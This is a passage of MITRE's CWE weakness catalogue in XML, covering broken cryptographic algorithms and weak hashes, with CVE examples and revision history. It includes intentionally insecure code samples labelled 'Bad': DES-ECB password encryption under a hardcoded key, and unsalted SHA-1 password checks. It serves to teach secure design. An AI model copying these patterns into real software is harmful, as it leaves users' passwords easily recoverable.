               <Example_Code Nature="Bad" Language="PHP">
                  <xhtml:div>function encryptPassword($password){<xhtml:div style="margin-left:1em;">$iv_size = mcrypt_get_iv_size(MCRYPT_DES, MCRYPT_MODE_ECB);<xhtml:br/>$iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);<xhtml:br/>$key = "This is a password encryption key";<xhtml:br/>$encryptedPassword = mcrypt_encrypt(MCRYPT_DES, $key, $password, MCRYPT_MODE_ECB, $iv);<xhtml:br/>return $encryptedPassword;</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>Once considered a strong algorithm, DES now regarded as insufficient for many applications. It has been replaced by Advanced Encryption Standard (AES).</Body_Text>
            </Demonstrative_Example>
	    <Demonstrative_Example>
	      <Intro_Text>Suppose a chip manufacturer decides to implement a hashing scheme for verifying integrity property of certain bitstream, and it chooses to implement a SHA1 hardware accelerator for to implement the scheme.</Intro_Text>
	      <Example_Code Nature="Bad" Language="Other">
		<xhtml:div>The manufacturer chooses a SHA1 hardware accelerator for to implement the scheme because it already has a working SHA1 Intellectual Property (IP) that the manufacturer had created and used earlier, so this reuse of IP saves design cost.</xhtml:div>
	      </Example_Code>
	      <Body_Text>However, SHA1 was theoretically broken in 2005 and practically broken in 2017 at a cost of $110K. This means an attacker with access to cloud-rented computing power will now be able to provide a malicious bitstream with the same hash value, thereby defeating the purpose for which the hash was used.</Body_Text>
	      <Body_Text>This issue could have been avoided with better design.</Body_Text>
	      <Example_Code Nature="Good" Language="Other">
		<xhtml:div>The manufacturer could have chosen a cryptographic solution that is recommended by the wide security community (including standard-setting bodies like NIST) and is not expected to be broken (or even better, weakened) within the reasonable life expectancy of the hardware product. In this case, the architects could have used SHA-2 or SHA-3, even if it meant that such choice would cost extra.</xhtml:div>
	      </Example_Code>
	    </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-153">
	            <Intro_Text>In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.</Intro_Text>
	            <Body_Text>Multiple OT products used weak cryptography.</Body_Text>
	         </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2022-30273</Reference>
               <Description>SCADA-based protocol supports a legacy encryption mode that uses Tiny Encryption Algorithm (TEA) in ECB mode, which leaks patterns in messages and cannot protect integrity</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-30273</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2022-30320</Reference>
               <Description>Programmable Logic Controller (PLC) uses a protocol with a cryptographically insecure hashing algorithm for passwords.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-30320</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-3775</Reference>
               <Description>Product uses "ROT-25" to obfuscate the password in the registry.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-3775</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-4150</Reference>
               <Description>product only uses "XOR" to obfuscate sensitive data</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-4150</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-5460</Reference>
               <Description>product only uses "XOR" and a fixed key to obfuscate sensitive data</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-5460</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-4860</Reference>
               <Description>Product substitutes characters with other characters in a fixed way, and also leaves certain input characters unchanged.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-4860</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-2058</Reference>
               <Description>Attackers can infer private IP addresses by dividing each octet by the MD5 hash of '20'.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-2058</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-3188</Reference>
               <Description>Product uses DES when MD5 has been specified in the configuration, resulting in weaker-than-expected password hashes.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-3188</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2946</Reference>
               <Description>Default configuration of product uses MD5 instead of stronger algorithms that are available, simplifying forgery of certificates.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2946</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-6013</Reference>
               <Description>Product uses the hash of a hash for authentication, allowing attackers to gain privileges if they can obtain the original hash.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-6013</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Using a broken or risky cryptographic algorithm</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
               <Entry_ID>A8</Entry_ID>
               <Entry_Name>Insecure Storage</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>MSC30-C</Entry_ID>
               <Entry_Name>Do not use the rand() function for generating pseudorandom numbers</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>MSC32-C</Entry_ID>
               <Entry_Name>Properly seed pseudorandom number generators</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>MSC02-J</Entry_ID>
               <Entry_Name>Generate strong random numbers</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCSM">
                <Entry_ID>ASCSM-CWE-327</Entry_ID>
            </Taxonomy_Mapping>
			<Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
			  <Entry_ID>Part 3-3</Entry_ID>
              <Entry_Name>Req SR 4.3</Entry_Name>
			</Taxonomy_Mapping>
			<Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
			  <Entry_ID>Part 4-2</Entry_ID>
              <Entry_Name>Req CR 4.3</Entry_Name>
			</Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="20"/>
            <Related_Attack_Pattern CAPEC_ID="459"/>
            <Related_Attack_Pattern CAPEC_ID="473"/>
            <Related_Attack_Pattern CAPEC_ID="475"/>
            <Related_Attack_Pattern CAPEC_ID="608"/>
            <Related_Attack_Pattern CAPEC_ID="614"/>
            <Related_Attack_Pattern CAPEC_ID="97"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-280"/>
            <Reference External_Reference_ID="REF-281"/>
            <Reference External_Reference_ID="REF-282"/>
            <Reference External_Reference_ID="REF-267"/>
            <Reference External_Reference_ID="REF-284"/>
            <Reference External_Reference_ID="REF-7" Section="Chapter 8, &#34;Cryptographic Foibles&#34; Page 259"/>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 21: Using the Wrong Cryptography.&#34; Page 315"/>
            <Reference External_Reference_ID="REF-287"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 2, &#34;Insufficient or Obsolete Encryption&#34;, Page 44"/>
            <Reference External_Reference_ID="REF-962" Section="ASCSM-CWE-327"/>
            <Reference External_Reference_ID="REF-18"/>
            <Reference External_Reference_ID="REF-1192"/>
            <Reference External_Reference_ID="REF-1283"/>
         </References>
         <Notes>
           <Note Type="Maintenance">Since CWE 4.4, various cryptography-related entries, including CWE-327 and CWE-1240, have been slated for extensive research, analysis, and community consultation to define consistent terminology, improve relationships, and reduce overlap or duplication. As of CWE 4.6, this work is still ongoing.</Note>
	       <Note Type="Maintenance">The Taxonomy_Mappings to ISA/IEC 62443 were added in CWE 4.10, but they are still under review and might change in future CWE versions. These draft mappings were performed by members of the "Mapping CWE to 62443" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG), and their work is incomplete as of CWE 4.10. The mappings are included to facilitate discussion and review by the broader ICS/OT community, and they are likely to change in future CWE versions.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Organization>Veracode</Modification_Organization>
               <Modification_Date>2008-08-15</Modification_Date>
               <Modification_Comment>Suggested OWASP Top Ten 2004 mapping</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Background_Details, Common_Consequences, Description, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-01-12</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Description, Observed_Examples, Potential_Mitigations, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Maintenance_Notes, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Detection_Factors, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Potential_Mitigations, Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Detection_Factors, Potential_Mitigations, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Detection_Factors, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
	    <Modification>
	      <Modification_Name>CWE Content Team</Modification_Name>
	      <Modification_Organization>MITRE</Modification_Organization>
	      <Modification_Date>2019-01-03</Modification_Date>
	      <Modification_Comment>updated References, Relationships, Taxonomy_Mappings</Modification_Comment>
	    </Modification>
	    <Modification>
	      <Modification_Name>CWE Content Team</Modification_Name>
	      <Modification_Organization>MITRE</Modification_Organization>
	      <Modification_Date>2019-06-20</Modification_Date>
	      <Modification_Comment>updated Related_Attack_Patterns, Relationships, Type</Modification_Comment>
	    </Modification>
	    <Modification>
	      <Modification_Name>CWE Content Team</Modification_Name>
	      <Modification_Organization>MITRE</Modification_Organization>
	      <Modification_Date>2020-02-24</Modification_Date>
	      <Modification_Comment>updated Applicable_Platforms, Detection_Factors, Maintenance_Notes, Relationships</Modification_Comment>
	    </Modification>
	    <Modification>
	      <Modification_Name>CWE Content Team</Modification_Name>
	      <Modification_Organization>MITRE</Modification_Organization>
	      <Modification_Date>2021-03-15</Modification_Date>
	      <Modification_Comment>updated References</Modification_Comment>
	    </Modification>
	    <Modification>
	      <Modification_Name>CWE Content Team</Modification_Name>
	      <Modification_Organization>MITRE</Modification_Organization>
	      <Modification_Date>2021-10-28</Modification_Date>
	      <Modification_Comment>updated Maintenance_Notes, Potential_Mitigations, Relationships</Modification_Comment>
	    </Modification>
	    <Modification>
	      <Modification_Name>CWE Content Team</Modification_Name>
	      <Modification_Organization>MITRE</Modification_Organization>
	      <Modification_Date>2022-04-28</Modification_Date>
	      <Modification_Comment>updated Relationships</Modification_Comment>
	    </Modification>
	    <Modification>
	      <Modification_Name>CWE Content Team</Modification_Name>
	      <Modification_Organization>MITRE</Modification_Organization>
	      <Modification_Date>2022-10-13</Modification_Date>
	      <Modification_Comment>updated Demonstrative_Examples, Observed_Examples, References</Modification_Comment>
	    </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Background_Details, Demonstrative_Examples, Description, Maintenance_Notes, Modes_of_Introduction, Observed_Examples, Potential_Mitigations, References, Taxonomy_Mappings, Time_of_Introduction</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
	    <Contribution Type="Content">
	      <Contribution_Name>Parbati K. Manna</Contribution_Name>
	      <Contribution_Organization>Intel Corporation</Contribution_Organization>
	      <Contribution_Date>2019-12-10</Contribution_Date>
	      <Contribution_Comment>Provide a hardware-specific submission whose contents were integrated into this entry, affecting extended description, applicable platforms, demonstrative examples, and mitigations</Contribution_Comment>
	    </Contribution>
            <Previous_Entry_Name Date="2008-04-11">Using a Broken or Risky Cryptographic Algorithm</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="328" Name="Use of Weak Hash" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product uses an algorithm that produces a digest (output value) that does not meet security expectations for a hash function that allows an adversary to reasonably determine the original input (preimage attack), find another input that can produce the same hash (2nd preimage attack), or find multiple inputs that evaluate to the same hash (birthday attack).</Description>
	 <Extended_Description>
	   <xhtml:p>A hash function is defined as an algorithm that maps arbitrarily sized data into a fixed-sized digest (output) such that the following properties hold:</xhtml:p>
	   <xhtml:ul>
	     <xhtml:li>1. The algorithm is not invertible (also called "one-way" or "not reversible")</xhtml:li>
	     <xhtml:li>2. The algorithm is deterministic; the same input produces the same digest every time</xhtml:li>
	   </xhtml:ul>
	   <xhtml:p>
	     Building on this definition, a cryptographic hash function must also ensure that a malicious actor cannot leverage the hash function to have a reasonable chance of success at determining any of the following:</xhtml:p>
	   <xhtml:ul>
	     <xhtml:li>1. the original input (preimage attack), given only the digest</xhtml:li>
	     <xhtml:li>2. another input that can produce the same digest (2nd preimage attack), given the original input</xhtml:li>
	     <xhtml:li>3. a set of two or more inputs that evaluate to the same digest (birthday attack), given the actor can arbitrarily choose the inputs to be hashed and can do so a reasonable amount of times</xhtml:li>
	   </xhtml:ul>
	   <xhtml:p>What is regarded as "reasonable" varies by context and threat model, but in general, "reasonable" could cover any attack that is more efficient than brute force (i.e., on average, attempting half of all possible combinations). Note that some attacks might be more efficient than brute force but are still not regarded as achievable in the real world.</xhtml:p>
	   <xhtml:p>Any algorithm does not meet the above conditions will generally be considered weak for general use in hashing.</xhtml:p>
	   <xhtml:p>In addition to algorithmic weaknesses, a hash function can be made weak by using the hash in a security context that breaks its security guarantees. For example, using a hash function without a salt for storing passwords (that are sufficiently short) could enable an adversary to create a "rainbow table" [REF-637] to recover the password under certain conditions; this attack works against such hash functions as MD5, SHA-1, and SHA-2.</xhtml:p>
	 </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="326" View_ID="1000"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="327" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
	    <Technology Class="ICS/OT" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-51">
               <Phase>Architecture and Design</Phase>
               <Description>
                  <xhtml:p>Use an adaptive hash function that can be configured to change the amount of computational effort needed to compute the hash, such as the number of iterations ("stretching") or the amount of memory required. Some hash functions perform salting automatically. These functions can significantly increase the overhead for a brute force attack compared to intentionally-fast functions such as MD5. For example, rainbow table attacks can become infeasible due to the high computing overhead. Finally, since computing power gets faster and cheaper over time, the technique can be reconfigured to increase the workload without forcing an entire replacement of the algorithm in use.</xhtml:p>
                  <xhtml:p>Some hash functions that have one or more of these desired properties include bcrypt [REF-291], scrypt [REF-292], and PBKDF2 [REF-293]. While there is active debate about which of these is the most effective, they are all stronger than using salts with hash functions with very little computing overhead.</xhtml:p>
                  <xhtml:p>Note that using these functions can have an impact on performance, so they require special consideration to avoid denial-of-service attacks. However, their configurability provides finer control over how much CPU and memory is used, so it could be adjusted to suit the environment's needs.</xhtml:p>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-101">
               <Intro_Text>In both of these examples, a user is logged in if their given password matches a stored password:</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>unsigned char *check_passwd(char *plaintext) {<xhtml:div style="margin-left:1em;">ctext = simple_digest("sha1",plaintext,strlen(plaintext), ... );<xhtml:br/>
                        <xhtml:i>//Login if hash matches stored hash</xhtml:i>
                        <xhtml:br/>if (equal(ctext, secret_password())) {<xhtml:div style="margin-left:1em;">login_user();</xhtml:div>}</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>String plainText = new String(plainTextIn);<xhtml:br/>MessageDigest encer = MessageDigest.getInstance("SHA");<xhtml:br/>encer.update(plainTextIn);<xhtml:br/>byte[] digest = password.digest();<xhtml:br/>
                     <xhtml:i>//Login if hash matches stored hash</xhtml:i>
                     <xhtml:br/>if (equal(digest,secret_password())) {<xhtml:div style="margin-left:1em;">login_user();</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>This code relies exclusively on a password mechanism (CWE-309) using only one factor of authentication (CWE-308). If an attacker can steal or guess a user's password, they are given full access to their account. Note this code also uses SHA-1, which is a weak hash (CWE-328).  It also does not use a salt (CWE-759).</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-153">
	            <Intro_Text>In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.</Intro_Text>
	            <Body_Text>At least one OT product used weak hashes.</Body_Text>
	         </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2022-30320</Reference>
               <Description>Programmable Logic Controller (PLC) uses a protocol with a cryptographically insecure hashing algorithm for passwords.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-30320</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-4900</Reference>
               <Description>SHA-1 algorithm is not collision-resistant.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-4900</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2020-25685</Reference>
               <Description>DNS product uses a weak hash (CRC32 or SHA-1) of the query name, allowing attacker to forge responses by computing domain names with the same hash.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2020-25685</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2012-6707</Reference>
               <Description>blogging product uses MD5-based algorithm for passwords.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2012-6707</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2019-14855</Reference>
               <Description>forging of certificate signatures using SHA-1 collisions.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2019-14855</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2017-15999</Reference>
               <Description>mobile app for backup sends SHA-1 hash of password in cleartext.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2017-15999</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-4068</Reference>
               <Description>Hard-coded hashed values for username and password contained in client-side script, allowing brute-force offline attacks.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-4068</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Reversible One-Way Hash</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="461"/>
            <Related_Attack_Pattern CAPEC_ID="68"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-289"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 2, &#34;Common Vulnerabilities of Integrity&#34;, Page 47"/>
            <Reference External_Reference_ID="REF-291"/>
            <Reference External_Reference_ID="REF-292"/>
            <Reference External_Reference_ID="REF-293" Section="5.2 PBKDF2"/>
            <Reference External_Reference_ID="REF-294"/>
            <Reference External_Reference_ID="REF-295"/>
            <Reference External_Reference_ID="REF-296"/>
            <Reference External_Reference_ID="REF-297"/>
            <Reference External_Reference_ID="REF-298"/>
            <Reference External_Reference_ID="REF-637"/>
            <Reference External_Reference_ID="REF-1243"/>
            <Reference External_Reference_ID="REF-1244"/>
            <Reference External_Reference_ID="REF-1283"/>
         </References>
	 <Notes>
	   <Note Type="Maintenance">Since CWE 4.4, various cryptography-related entries including CWE-328 have been slated for extensive research, analysis, and community consultation to define consistent terminology, improve relationships, and reduce overlap or duplication. As of CWE 4.6, this work is still ongoing.</Note>
	 </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Observed_Example, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-01-12</Modification_Date>
               <Modification_Comment>updated Description, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Modes_of_Introduction, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
